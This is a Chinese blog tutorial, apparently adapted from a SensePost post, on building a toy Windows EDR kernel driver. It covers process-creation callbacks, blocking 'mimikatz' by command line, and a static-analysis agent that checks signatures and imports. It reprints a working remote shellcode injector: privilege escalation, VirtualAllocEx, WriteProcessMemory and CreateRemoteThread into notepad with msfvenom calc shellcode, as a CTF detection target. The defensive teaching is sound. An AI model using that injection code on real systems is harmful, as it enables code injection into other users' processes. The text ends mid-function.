参考:

https://sensepost.com/blog/2024/sensecon-23-from-windows-drivers-to-an-almost-fully-working-edr/

 

环境搭建

前言:此处所说不一定正确,但是在本机成功运行了。

如果本机已经装过VS了,还是去虚拟机里面用新的环境吧,不同的SDK好像会出现奇奇怪怪的BUG,直接用虚拟机还快一点。

VS下载

想要编写的驱动运行在不同版本的Windows上,需要下载不同版本的VS。详见https://learn.microsoft.com/zh-cn/windows-hardware/drivers/other-wdk-downloads

我的虚拟机是Windows 10,使用winver查看详细的版本是19045.4651

根据上面链接的windows wdk环境搭建教程,win10 1903 用Enterprise 2019,安装Enterprise 2019就好。

SDK下载

根据windows教程,在安装VS的时候选择C++桌面开发就行

WDK安装

同样根据提示下载1903的WDK就行

下载之后,右键在详细信息里面确认一下版本是不是对的,这里好像有个BUG,1903版本不是1904的,要下2004的版本才是1904的

驱动编写

初始准备

上面的环境搞好之后,创建项目选择KMDF(Kenel Mode Driver Empty)

生成效果如下

然后在项目属性里面把spectre 缓解给关了

DebugPrintex 与过滤器

与普通的程序不同,驱动只能通过Debugprint和Windbg进行调试。

https://learn.microsoft.com/zh-cn/windows-hardware/drivers/ddi/wdm/nf-wdm-dbgprintex

DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Initializing the driver\n”);

第一个参数是设置筛选器的ID,第二个是信息的严重性,后续就是常规的printf参数了。

现在设置筛选器为DPFLTR_IHVDRIVER_ID,建个注册表

\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter

设置DWORD的名称为IHVDRIVER,值设置为f就是1111。

第三个参数就是对应的偏移量,ERROR_LEVEL是0,表示1<<0,INFO_LEVEL是3表示1<<3。偏移之后且上对应的过滤器的值,就是注册表设置的,我现在设置IHVDRIVER为4,所以就是0100&0xffff,如果且出现最后不为0,就会显示在Dbg中显示对应的信息。

代码

在Source File里面加一个Driver.c内容如下

#include <Ntifs.h>
#include <ntddk.h>
#include <wdf.h>

// Global variables
UNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L”\\Device\\MyDumbEDR”); // Driver device name
UNICODE_STRING SYM_LINK = RTL_CONSTANT_STRING(L”\\??\\MyDumbEDR”); // Device symlink

void UnloadMyDumbEDR(_In_ PDRIVER_OBJECT DriverObject) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, “MyDumbEDR: Unloading routine called\n”);
// Delete the driver device
IoDeleteDevice(DriverObject->DeviceObject);
// Delete the symbolic link
IoDeleteSymbolicLink(&SYM_LINK);
}

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
// Prevent compiler error in level 4 warnings
UNREFERENCED_PARAMETER(RegistryPath);

DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Initializing the driver\n”);

// Variable that will store the output of WinAPI functions
NTSTATUS status;

// Initializing a device object and creating it
PDEVICE_OBJECT DeviceObject;
UNICODE_STRING deviceName = DEVICE_NAME;
UNICODE_STRING symlinkName = SYM_LINK;
status = IoCreateDevice(
DriverObject, // Our driver object
0, // Extra bytes needed (we don’t need any)
&deviceName, // The device name
FILE_DEVICE_UNKNOWN, // The device type
0, // Device characteristics (none)
FALSE, // Sets the driver to not exclusive
&DeviceObject // Pointer in which is stored the result of IoCreateDevice
);

if (!NT_SUCCESS(status)) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Device 11111111111111creation failed\n”);
return status;
}

// Creating the symlink that we will use to contact our driver
status = IoCreateSymbolicLink(
&symlinkName, // The symbolic link name
&deviceName // The device name
);

if (!NT_SUCCESS(status)) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Symlink creation failed\n”);
IoDeleteDevice(DeviceObject);
return status;
}

// Setting the unload routine to execute
DriverObject->DriverUnload = UnloadMyDumbEDR;

return status;
}

创建和启动驱动的命令

这里我是直接开机的时候F8把驱动签名校验关了

sc.exe create MyDumbEDR type=kernel binPath=C:\\Users\windev\Desktop\x64\Debug\MyDumbEDR.sys

sc.exe start MyDumbEDR

Dbg输出效果

接着来看看代码

首先是DriverEntry这个相当于普通C语言中的main函数,是所有驱动加载的入口。

DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath)

第一个是指向DriverObject的指针,包含了当前驱动的相关信息。

//0x150 bytes (sizeof)
struct _DRIVER_OBJECT
{
    SHORT Type;                                                                    //0x0
    SHORT Size;                                                                    //0x2
    struct _DEVICE_OBJECT* DeviceObject;                                           //0x8
    ULONG Flags;                                                                   //0x10
    VOID* DriverStart;                                                             //0x18
    ULONG DriverSize;                                                              //0x20
    VOID* DriverSection;                                                           //0x28
    struct _DRIVER_EXTENSION* DriverExtension;                                     //0x30
    struct _UNICODE_STRING DriverName;                                             //0x38
    struct _UNICODE_STRING* HardwareDatabase;                                      //0x48
    struct _FAST_IO_DISPATCH* FastIoDispatch;                                      //0x50
    LONG (*DriverInit)(struct _DRIVER_OBJECT* arg1, struct _UNICODE_STRING* arg2); //0x58
    VOID (*DriverStartIo)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2);         //0x60
    VOID (*DriverUnload)(struct _DRIVER_OBJECT* arg1);                             //0x68
    LONG (*MajorFunction[28])(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2);     //0x70
}; 

第二个参数是指向驱动参数的指针,一般在注册表HKLM:\SYSTEM\CurrentControlSet\Service里面。

继续看后续代码,首先是IoCreateDevice函数。通过这个函数为驱动创建了一个Device设备,具体不了解但是需要注意的点是DeviceName这个参数。指的是当前驱动的名称,这里设置的是

\Device\MyDumbEDR。前面的\Dervice是NT设备名称的格式,所以实际上创建的驱动设备名称就是MyDumbEDR。通过Winobj64也可以发现驱动名称为MyDumbEDR

之后第二个函数是IoCreateSymbolicLink,创建一个符号链接与驱动设备绑定。这里的symbol名称为\\??\\MyDumbEDR。用户层与内核层的驱动通信就是通过symbol名称通信。

status = IoCreateSymbolicLink(
&symlinkName, // The symbolic link name
&deviceName // The device name
);

第三个就是设置驱动卸载时的回调函数。在回调函数中删除了,驱动设备与符号链接

DriverObject->DriverUnload = UnloadMyDumbEDR;

void UnloadMyDumbEDR(_In_ PDRIVER_OBJECT DriverObject) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, “MyDumbEDR: Unloading routine called\n”);
// Delete the driver device
IoDeleteDevice(DriverObject->DeviceObject);
// Delete the symbolic link
IoDeleteSymbolicLink(&SYM_LINK);
}

回调函数

微软为了保证系统的安全,设置了Patch Guard,定时监测内核中特定区域的完整性,如果被篡改就直接蓝屏。通过这种方式之前厂商使用SSDT Hook内核变得困难。微软提出了新的方式给安全厂商使用,那就是内核回调。通过设置不同的内核回调函数,安全厂商可以实现文件、注册表、线程、运行程序等许多地方的监控,每当程序运行对应的函数前,需要先执行回调函数。这几个是常见的回调函数

  • PsSetCreateProcessNotifyRoutine: 监视进程创建
  • PsSetLoadImageNotifyRoutine: DLL加载
  • PsSetThreadCreateNotifyRoutine: 线程创建
  • ObRegisterCallbacks: 打开线程、打开进程、打开桌面
  • CmRegisterCallbacks: 监测注册表相关行为
  • IoRegisterFsRegistrationChange: monitor the modification of a file

以PsSetCreateProcessNotifyRoutine为例查看如何设置回调:

NTSTATUS PsSetCreateProcessNotifyRoutine(
    PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine, // Pointer to the function to execute when a process is created
    BOOLEAN                        Remove         // Whether the routine specified by NotifyRoutine should be added to or removed from the system's list of notification routines
);

 

第一个参数为指向回调函数的指针,第二个参数判断是否添加或者删除对应的回调函数。

对应的回调函数定义如下:

void PcreateProcessNotifyRoutine( [in] HANDLE ParentId, [in] HANDLE ProcessId, [in] BOOLEAN Create )

三个参数分别为父进程ID、当前进程ID、与当前这个进程是被创建(True)还是被删除(False)。

完整的代码修改为

#include <Ntifs.h>
#include <ntddk.h>
#include <wdf.h>

// Global variables
UNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L”\\Device\\MyDumbEDR”); // Driver device name
UNICODE_STRING SYM_LINK = RTL_CONSTANT_STRING(L”\\??\\MyDumbEDR”); // Device symlink

void UnloadMyDumbEDR(_In_ PDRIVER_OBJECT DriverObject) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, “MyDumbEDR: Unloading routine called\n”);

// Unset the callback

PsSetCreateProcessNotifyRoutineEx(CreateProcessNotifyRoutine, TRUE);

// Delete the driver device
IoDeleteDevice(DriverObject->DeviceObject);
// Delete the symbolic link
IoDeleteSymbolicLink(&SYM_LINK);
}

void CreateProcessNotifyRoutine(HANDLE ppid, HANDLE pid, BOOLEAN create) {
if (create) {
PEPROCESS process = NULL;
PUNICODE_STRING processName = NULL;

// Retrieve process ID
PsLookupProcessByProcessId(pid, &process);

// Retrieve the process name from the EPROCESS structure
SeLocateProcessImageName(process, &processName);

DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: %d (%wZ) launched.\n”, pid, processName);
}
else {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: %d got killed.\n”, pid);
}
}

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
// Prevent compiler error in level 4 warnings
UNREFERENCED_PARAMETER(RegistryPath);

DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Initializing the driver\n”);

// Variable that will store the output of WinAPI functions
NTSTATUS status;

// Initializing a device object and creating it
PDEVICE_OBJECT DeviceObject;
UNICODE_STRING deviceName = DEVICE_NAME;
UNICODE_STRING symlinkName = SYM_LINK;
status = IoCreateDevice(
DriverObject, // Our driver object
0, // Extra bytes needed (we don’t need any)
&deviceName, // The device name
FILE_DEVICE_UNKNOWN, // The device type
0, // Device characteristics (none)
FALSE, // Sets the driver to not exclusive
&DeviceObject // Pointer in which is stored the result of IoCreateDevice
);

if (!NT_SUCCESS(status)) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Device 11111111111111creation failed\n”);
return status;
}

// Creating the symlink that we will use to contact our driver
status = IoCreateSymbolicLink(
&symlinkName, // The symbolic link name
&deviceName // The device name
);

if (!NT_SUCCESS(status)) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Symlink creation failed\n”);
IoDeleteDevice(DeviceObject);
return status;
}

PsSetCreateProcessNotifyRoutine(CreateProcessNotifyRoutine, FALSE);

// Setting the unload routine to execute
DriverObject->DriverUnload = UnloadMyDumbEDR;

return status;
}

回调函数设置了,每当有进程创建或者被删除就会输出进程名称

 

 

  1. void UnloadMyDumbEDR(_In_ PDRIVER_OBJECT DriverObject) {
  2.     DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, “MyDumbEDR: Unloading routine called\n”);
  3.     // Delete the driver device 
  4.     IoDeleteDevice(DriverObject->DeviceObject);
  5.     // Delete the symbolic link
  6.     IoDeleteSymbolicLink(&SYM_LINK);
  7. }

同时注意在UnloadEDR的回调中,设置了对应回调的删除。

PsSetCreateProcessNotifyRoutineEx(CreateProcessNotifyRoutine, TRUE); 现在的驱动只能监测进程的创建与删除,不能拦截进程是否创建。 拦截进程创建需要另外的函数
NTSTATUS PsSetCreateProcessNotifyRoutineEx(
    PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, // Pointer to the PCreateProcessNotifyRoutineEx structure
    BOOLEAN                           Remove         // Whether or not we should add or remove the callback
); 这里的规则与PsSetCreateProcessNotifyRoutine类似,不同的点在回调函数上。
typedef struct _PS_CREATE_NOTIFY_INFO {
    SIZE_T              Size;
    union {
        ULONG Flags;
        struct {
            ULONG FileOpenNameAvailable : 1;  //
            ULONG IsSubsystemProcess : 1;     
            ULONG Reserved : 30;
        };
    };
    HANDLE              ParentProcessId;     // Parent PID
    CLIENT_ID           CreatingThreadId;    // Thread id 
    struct _FILE_OBJECT *FileObject; 
    PCUNICODE_STRING    ImageFileName;       // Name of the binary
    PCUNICODE_STRING    CommandLine;         // Arguments passed to the binary
    NTSTATUS            CreationStatus;      // This variable holds whether or not the process should be created
} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO; 如果将最后的NTSTATUS设置为对应的错误代码,进程就不会被创建。 这里把代码改为
  1. #include <Ntifs.h>
  2. #include <ntddk.h>
  3. #include <wdf.h>
  4. // Global variables
  5. UNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L“\\Device\\MyDumbEDR”); // Driver device name
  6. UNICODE_STRING SYM_LINK = RTL_CONSTANT_STRING(L“\\??\\MyDumbEDR”);        // Device symlink
  7. void CreateProcessNotifyRoutine(PEPROCESS process, HANDLE pid, PPS_CREATE_NOTIFY_INFO createInfo) {
  8.     UNREFERENCED_PARAMETER(process);
  9.     UNREFERENCED_PARAMETER(pid);
  10.     // Never forget this if check because if you don’t, you’ll end up crashing your Windows system ;P
  11.     if (createInfo != NULL) {
  12.         // Compare the command line of the launched process to the notepad string
  13.         if (wcsstr(createInfo->CommandLine->Buffer, L“notepad”) != NULL) {
  14.             DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Process (%ws) allowed.\n”, createInfo->CommandLine->Buffer);
  15.             // Process allowed
  16.             createInfo->CreationStatus = STATUS_SUCCESS;
  17.         }
  18.         // Compare the command line of the launched process to the mimikatz string
  19.         if (wcsstr(createInfo->CommandLine->Buffer, L“mimikatz”) != NULL) {
  20.             DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Process (%ws) denied.\n”, createInfo->CommandLine->Buffer);
  21.             // Process denied
  22.             createInfo->CreationStatus = STATUS_ACCESS_DENIED;
  23.         }
  24.     }
  25. }
  26. void UnloadMyDumbEDR(_In_ PDRIVER_OBJECT DriverObject) {
  27.     DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, “MyDumbEDR: Unloading routine called\n”);
  28.     PsSetCreateProcessNotifyRoutineEx(CreateProcessNotifyRoutine, TRUE);
  29.     // Delete the driver device 
  30.     IoDeleteDevice(DriverObject->DeviceObject);
  31.     // Delete the symbolic link
  32.     IoDeleteSymbolicLink(&SYM_LINK);
  33. }
  34. NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
  35.     // Prevent compiler error in level 4 warnings
  36.     UNREFERENCED_PARAMETER(RegistryPath);
  37.     DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Initializing the driver\n”);
  38.     // Variable that will store the output of WinAPI functions
  39.     NTSTATUS status;
  40.     // Initializing a device object and creating it
  41.     PDEVICE_OBJECT DeviceObject;
  42.     UNICODE_STRING deviceName = DEVICE_NAME;
  43.     UNICODE_STRING symlinkName = SYM_LINK;
  44.     status = IoCreateDevice(
  45.         DriverObject,      // Our driver object
  46.         0,         // Extra bytes needed (we don’t need any)
  47.         &deviceName,            // The device name
  48.         FILE_DEVICE_UNKNOWN,    // The device type
  49.         0,         // Device characteristics (none)
  50.         FALSE,        // Sets the driver to not exclusive
  51.         &DeviceObject      // Pointer in which is stored the result of IoCreateDevice
  52.     );
  53.     if (!NT_SUCCESS(status)) {
  54.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Device 11111111111111creation failed\n”);
  55.         return status;
  56.     }
  57.     // Creating the symlink that we will use to contact our driver
  58.     status = IoCreateSymbolicLink(
  59.         &symlinkName, // The symbolic link name
  60.         &deviceName   // The device name
  61.     );
  62.     if (!NT_SUCCESS(status)) {
  63.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Symlink creation failed\n”);
  64.         IoDeleteDevice(DeviceObject);
  65.         return status;
  66.     }
  67.     PsSetCreateProcessNotifyRoutineEx(CreateProcessNotifyRoutine, FALSE);
  68.     // Setting the unload routine to execute
  69.     DriverObject->DriverUnload = UnloadMyDumbEDR;
  70.     return status;
  71. }
直接加载会报错误 STATUS_ACCESS_DENIED,需要在编译选项中加入/integritycheck,当使用/integritycheck这个选项。会在PE或者DLL头部加入 IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY 这个头部。当windows检查到程序存在这个头部后,在运行或者加载前检查对应的数字签名,如果没有签名不会加载。
现在windbg中就会记录所有启动的应用程序。
如果将程序名称为mimkatze.exe,运行就会被驱动拦截无法启动。
现在这个驱动可以拦截mimkatze.exe,但是很是很蠢只能检测程序名称,如果改个名字就可以绕过去了。

升级驱动

现在升级一下这个驱动,让它更加接近真实的EDR,偷张图

E

跟刚刚别编写的EDR,在线程创建的过程中使用了Dll 注入,然后判断是否存在问题,在让EDR判断这个进程是否应该被启动。接着以下面这段远程注入代码举例,如何检查。

  1. #include “stdio.h”
  2. #include <Windows.h>
  3. #include <TlHelp32.h>
  4. int get_process_id_from_szexefile(wchar_t processName[]) {
  5.  PROCESSENTRY32 entry = { 0 };
  6.  entry.dwSize = sizeof(PROCESSENTRY32);
  7.  HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
  8.  if (Process32First(snapshot, &entry) == TRUE) {
  9.   while (Process32Next(snapshot, &entry) == TRUE) {
  10.    if (wcscmp(entry.szExeFile, processName) == 0) {
  11.     return entry.th32ProcessID;
  12.    }
  13.   }
  14.  }
  15.  else {
  16.   printf(“CreateToolhelper32Snapshot failed : %d\n”, GetLastError());
  17.   exit(1);
  18.  }
  19.  printf(“Process not found.\n”);
  20.  exit(1);
  21. }
  22. void check_if_se_debug_privilege_is_enabled() {
  23.  HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
  24.  HANDLE hToken;
  25.  OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
  26.  DWORD cbSize;
  27.  GetTokenInformation(hToken, TokenIntegrityLevel, NULL0, &cbSize);
  28.  PTOKEN_MANDATORY_LABEL pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, cbSize);
  29.  GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, cbSize, &cbSize);
  30.  DWORD current_process_integrity = (DWORD)*GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) – 1));
  31.  TOKEN_PRIVILEGES tp;
  32.  LUID luidSeDebugPrivilege;
  33.  if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidSeDebugPrivilege) == 0) {
  34.   printf(“SeDebugPrivilege not owned\n”);
  35.  }
  36.  else {
  37.   printf(“SeDebugPrivilege owned\n”);
  38.  }
  39.  tp.PrivilegeCount = 1;
  40.  tp.Privileges[0].Luid = luidSeDebugPrivilege;
  41.  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  42.  if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULLNULL) == 0) {
  43.   printf(“SeDebugPrivilege adjust token failed: %d\n”, GetLastError());
  44.  }
  45.  else {
  46.   printf(“SeDebugPrivilege enabled.\n”);
  47.  }
  48.  CloseHandle(hProcess);
  49.  CloseHandle(hToken);
  50. }
  51. int main() {
  52.  printf(“Launching remote shellcode injection\n”);
  53.  
  54.  // DO NOT REMOVE
  55.  // When loading a DLL remotely, its content won’t apply until all DLL’s are loaded
  56.  // For some reason it leads to a race condition which is not part of the challenge
  57.  // Hence do not remove the Sleep (even if it’d allow you bypassing the hooks)
  58.  Sleep(5000);
  59.  // DO NOT REMOVE
  60.  check_if_se_debug_privilege_is_enabled();
  61.  wchar_t processName[] = L”notepad.exe”;
  62.  int processId = get_process_id_from_szexefile(processName);
  63.  printf(“Injecting to PID: %i\n”, processId);
  64.  HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(processId));
  65.  
  66.  
  67.  // msfvenom -p windows/x64/exec CMD=calc.exe -b “\x00\x0a\0d” -f c
  68.  unsigned char shellcode[] =
  69.   “\x48\x31\xc9\x48\x81\xe9\xdb\xff\xff\xff\x48\x8d\x05\xef\xff”
  70.   “\xff\xff\x48\xbb\x33\xef\x18\x46\xf8\x06\x62\xef\x48\x31\x58”
  71.   “\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xcf\xa7\x9b\xa2\x08\xee”
  72.   “\xa2\xef\x33\xef\x59\x17\xb9\x56\x30\xbe\x65\xa7\x29\x94\x9d”
  73.   “\x4e\xe9\xbd\x53\xa7\x93\x14\xe0\x4e\xe9\xbd\x13\xa7\x93\x34”
  74.   “\xa8\x4e\x6d\x58\x79\xa5\x55\x77\x31\x4e\x53\x2f\x9f\xd3\x79”
  75.   “\x3a\xfa\x2a\x42\xae\xf2\x26\x15\x07\xf9\xc7\x80\x02\x61\xae”
  76.   “\x49\x0e\x73\x54\x42\x64\x71\xd3\x50\x47\x28\x8d\xe2\x67\x33”
  77.   “\xef\x18\x0e\x7d\xc6\x16\x88\x7b\xee\xc8\x16\x73\x4e\x7a\xab”
  78.   “\xb8\xaf\x38\x0f\xf9\xd6\x81\xb9\x7b\x10\xd1\x07\x73\x32\xea”
  79.   “\xa7\x32\x39\x55\x77\x31\x4e\x53\x2f\x9f\xae\xd9\x8f\xf5\x47”
  80.   “\x63\x2e\x0b\x0f\x6d\xb7\xb4\x05\x2e\xcb\x3b\xaa\x21\x97\x8d”
  81.   “\xde\x3a\xab\xb8\xaf\x3c\x0f\xf9\xd6\x04\xae\xb8\xe3\x50\x02”
  82.   “\x73\x46\x7e\xa6\x32\x3f\x59\xcd\xfc\x8e\x2a\xee\xe3\xae\x40”
  83.   “\x07\xa0\x58\x3b\xb5\x72\xb7\x59\x1f\xb9\x5c\x2a\x6c\xdf\xcf”
  84.   “\x59\x14\x07\xe6\x3a\xae\x6a\xb5\x50\xcd\xea\xef\x35\x10\xcc”
  85.   “\x10\x45\x0e\x42\x07\x62\xef\x33\xef\x18\x46\xf8\x4e\xef\x62”
  86.   “\x32\xee\x18\x46\xb9\xbc\x53\x64\x5c\x68\xe7\x93\x43\xf6\xd7”
  87.   “\x4d\x65\xae\xa2\xe0\x6d\xbb\xff\x10\xe6\xa7\x9b\x82\xd0\x3a”
  88.   “\x64\x93\x39\x6f\xe3\xa6\x8d\x03\xd9\xa8\x20\x9d\x77\x2c\xf8”
  89.   “\x5f\x23\x66\xe9\x10\xcd\x05\xc2\x5a\x35\x86\x5d\x8b\x77\x31”
  90.   “\x8b\x5a\x31\x96\x40\x9b\x7d\x2b\xcb\x34\x3e\x8c\x52\x83\x7b”
  91.   “\x68\x9d\x7e\x07\xef”;
  92.     printf(“VirtualAllocEx\n”);
  93.  PVOID remoteBuffer = VirtualAllocEx(processHandle, NULLsizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  94.  
  95.  printf(“WriteProcessMemory\n”);
  96.  WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof(shellcode), NULL);
  97.  
  98.  printf(“CreateRemoteThread\n”);
  99.  HANDLE remoteThread = CreateRemoteThread(processHandle, NULL0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL0NULL);
  100.  
  101.  printf(“Congratz dude! The flag is MyDumbEDR{H4ckTH3W0rld}\n”);
  102.  printf(“Expect more checks in the upcoming weeks ;)\n”);
  103.  CloseHandle(processHandle);
  104.  return 0;
  105. }

这个恶意程序通过远程线程注入,将启动计算器的shellcode注入到记事本中。为了检测这个,为EDR创建两个Ring3的Agent,通过管道与驱动通信。两个Agent分别做静态检查和动态检查。

静态分析

静态分析的Agent就检查三件事

  1. 程序是否签名
  2. 程序导入表中是否存在注入的三个函数
  3. 程序中是否出现 SeDebugPrivilege字符串

下面放上代码

  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <dbghelp.h>
  4. #include <wintrust.h>
  5. #include <Softpub.h>
  6. #include <wincrypt.h>
  7. #pragma comment (lib, “wintrust.lib”)
  8. #pragma comment(lib, “dbghelp.lib”)
  9. #pragma comment(lib, “crypt32.lib”)
  10. #define MESSAGE_SIZE 2048
  11. BOOL VerifyEmbeddedSignature(const wchar_t* binaryPath) {
  12.     LONG lStatus;
  13.     WINTRUST_FILE_INFO FileData;
  14.     memset(&FileData, 0sizeof(FileData));
  15.     FileData.cbStruct = sizeof(WINTRUST_FILE_INFO);
  16.     FileData.pcwszFilePath = binaryPath;
  17.     FileData.hFile = NULL;
  18.     FileData.pgKnownSubject = NULL;
  19.     GUID WVTPolicyGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
  20.     WINTRUST_DATA WinTrustData;
  21.     // Initializing necessary structures
  22.     memset(&WinTrustData, 0sizeof(WinTrustData));
  23.     WinTrustData.cbStruct = sizeof(WinTrustData);
  24.     WinTrustData.pPolicyCallbackData = NULL;
  25.     WinTrustData.pSIPClientData = NULL;
  26.     WinTrustData.dwUIChoice = WTD_UI_NONE;
  27.     WinTrustData.fdwRevocationChecks = WTD_REVOKE_NONE;
  28.     WinTrustData.dwUnionChoice = WTD_CHOICE_FILE;
  29.     WinTrustData.dwStateAction = WTD_STATEACTION_VERIFY;
  30.     WinTrustData.hWVTStateData = NULL;
  31.     WinTrustData.pwszURLReference = NULL;
  32.     WinTrustData.dwUIContext = 0;
  33.     WinTrustData.pFile = &FileData;
  34.     // WinVerifyTrust verifies signatures as specified by the GUID and Wintrust_Data.
  35.     lStatus = WinVerifyTrust(NULL, &WVTPolicyGUID, &WinTrustData);
  36.     BOOL isSigned;
  37.     switch (lStatus) {
  38.         // The file is signed and the signature was verified
  39.     case ERROR_SUCCESS:
  40.         isSigned = TRUE;
  41.         break;
  42.         // File is signed but the signature is not verified or is not trusted
  43.     case TRUST_E_SUBJECT_FORM_UNKNOWN || TRUST_E_PROVIDER_UNKNOWN || TRUST_E_EXPLICIT_DISTRUST || CRYPT_E_SECURITY_SETTINGS || TRUST_E_SUBJECT_NOT_TRUSTED:
  44.         isSigned = TRUE;
  45.         break;
  46.         // The file is not signed
  47.     case TRUST_E_NOSIGNATURE:
  48.         isSigned = FALSE;
  49.         break;
  50.         // Shouldn’t happen but hey may be!
  51.     default:
  52.         isSigned = FALSE;
  53.         break;
  54.     }
  55.     // Any hWVTStateData must be released by a call with close.
  56.     WinTrustData.dwStateAction = WTD_STATEACTION_CLOSE;
  57.     WinVerifyTrust(NULL, &WVTPolicyGUID, &WinTrustData);
  58.     return isSigned;
  59. }
  60. BOOL ListImportedFunctions(const wchar_t* binaryPath) {
  61.     BOOL isOpenProcessPresent = FALSE;
  62.     BOOL isVirtualAllocExPresent = FALSE;
  63.     BOOL isWriteProcessMemoryPresent = FALSE;
  64.     BOOL isCreateRemoteThreadPresent = FALSE;
  65.     // Load the target binary so that we can parse its content
  66.     HMODULE hModule = LoadLibraryEx(binaryPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
  67.     if (hModule != NULL) {
  68.         // Get NT headers from the binary
  69.         IMAGE_NT_HEADERS* ntHeaders = ImageNtHeader(hModule);
  70.         if (ntHeaders != NULL) {
  71.             // Locate the IAT
  72.             IMAGE_IMPORT_DESCRIPTOR* importDesc = (IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)hModule + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
  73.             // Loop over the DLL’s
  74.             while (importDesc->Name != 0) {
  75.                 const char* moduleName = (const char*)((BYTE*)hModule + importDesc->Name);
  76.                 // Loop over the functions of the DLL
  77.                 IMAGE_THUNK_DATA* thunk = (IMAGE_THUNK_DATA*)((BYTE*)hModule + importDesc->OriginalFirstThunk);
  78.                 while (thunk->u1.AddressOfData != 0) {
  79.                     if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
  80.                         // printf(“\tOrdinal: %llu\n”, IMAGE_ORDINAL(thunk->u1.Ordinal));
  81.                     }
  82.                     else {
  83.                         IMAGE_IMPORT_BY_NAME* importByName = (IMAGE_IMPORT_BY_NAME*)((BYTE*)hModule + thunk->u1.AddressOfData);
  84.                         // printf(“\tFunction: %s\n”, importByName->Name);
  85.                         // Checks if the following functions are used by the binary
  86.                         if (strcmp(“OpenProcess”, importByName->Name) == 0) {
  87.                             isOpenProcessPresent = TRUE;
  88.                         }
  89.                         if (strcmp(“VirtualAllocEx”, importByName->Name) == 0) {
  90.                             isVirtualAllocExPresent = TRUE;
  91.                         }
  92.                         if (strcmp(“WriteProcessMemory”, importByName->Name) == 0) {
  93.                             isWriteProcessMemoryPresent = TRUE;
  94.                         }
  95.                         if (strcmp(“CreateRemoteThread”, importByName->Name) == 0) {
  96.                             isCreateRemoteThreadPresent = TRUE;
  97.                         }
  98.                     }
  99.                     thunk++;
  100.                 }
  101.                 importDesc++;
  102.             }
  103.             FreeLibrary(hModule);
  104.         }
  105.         FreeLibrary(hModule);
  106.     }
  107.     if (isOpenProcessPresent && isVirtualAllocExPresent && isWriteProcessMemoryPresent && isCreateRemoteThreadPresent) {
  108.         return TRUE;
  109.     }
  110.     else {
  111.         return FALSE;
  112.     }
  113.     return FALSE;
